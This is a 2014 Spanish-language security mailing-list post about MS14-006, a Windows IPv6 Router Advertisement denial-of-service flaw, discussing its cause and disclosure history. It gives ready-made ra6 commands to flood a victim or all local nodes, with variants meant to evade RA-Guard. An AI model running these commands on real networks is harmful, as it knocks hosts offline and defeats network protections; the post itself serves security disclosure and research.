[LAC-TF] MS14-006: “Microsoft Windows TCP IPv6 Denial of Service Vulnerability”
Fernando Gont
fgont at si6networks.com
Fri Mar 28 19:42:54 BRT 2014
FYI:
<http://blog.coresecurity.com/2014/03/25/ms14-006-microsoft-windows-tcp-ipv6-denial-of-service-vulnerability/#sthash.iBLIqqwp.dpuf>
En lo personal, si bien el analisis está cool, creo que ni hacía falta
pensar demasiado.
FWIW, ésta y otras cuestiones han sido reportadas por Mar Heuse, quien
les habla/escribe y algunos otros (ver por ej,
<http://www.si6networks.com/tools/ipv6toolkit/si6networks-ipv6-nd-assessment.pdf>),
obteniendo en ocasiones repuestas del estilo "es ataque require acceso a
la red local, por ende no nos preocupa".
La vulnerabilidad no tiene nada que ver con TCP, sino mas bien con el
processamiento de Router Advertisements.
Por si a alguien le interesa reproducir el ataque, puede hacerlo
mediante la herramienta ra6
(<http://www.si6networks.com/tools/ipv6toolkit/>):
# ra6 -i INTERFAZ -P ::/64#LA -F 2 -f 250 -z 1 -l -d TARGET
"TARGET" debe ser la dirección link-local de la victima.. pudiendo
utilizar ff02::1 (all-nodes multicast) si se han levantado algo
insociables. E "INTERFAZ" debe se reemplazado por al interfaz de red con
la que van a hacer el ataque (eth0, wlan0, o lo que sea).
Si la red en cuestión estuviera utilizando RA-Guard, podrín utilizar
algo tipo:
# ra6 -i INTERFAZ -P ::/64#LA -F 2 -f 250 -z 1 -l -d TARGET -u 100
o
# ra6 -i INTERFAZ -P ::/64#LA -F 2 -f 250 -z 1 -l -d TARGET -u 1000 -U
100 -y 600
para evadir al bicho en cuestión.
(para entender el resto de las opciones, "ra6 --help" o "man ra6")
UNa buena forma de mantenerse al tanto de todas estas cosas v6-related
es leyendo la lista "ipv6 hackers":
<http://lists.si6networks.com/listinfo/ipv6hackers/>
P.S.: !(<https://www.youtube.com/watch?v=4M6dkGQwiYA>) :-)
Saludos,
--
Fernando Gont
SI6 Networks
e-mail: fgont at si6networks.com
PGP Fingerprint: 6666 31C6 D484 63B2 8FB1 E3C4 AE25 0D55 1D4E 7492
More information about the LACTF
mailing list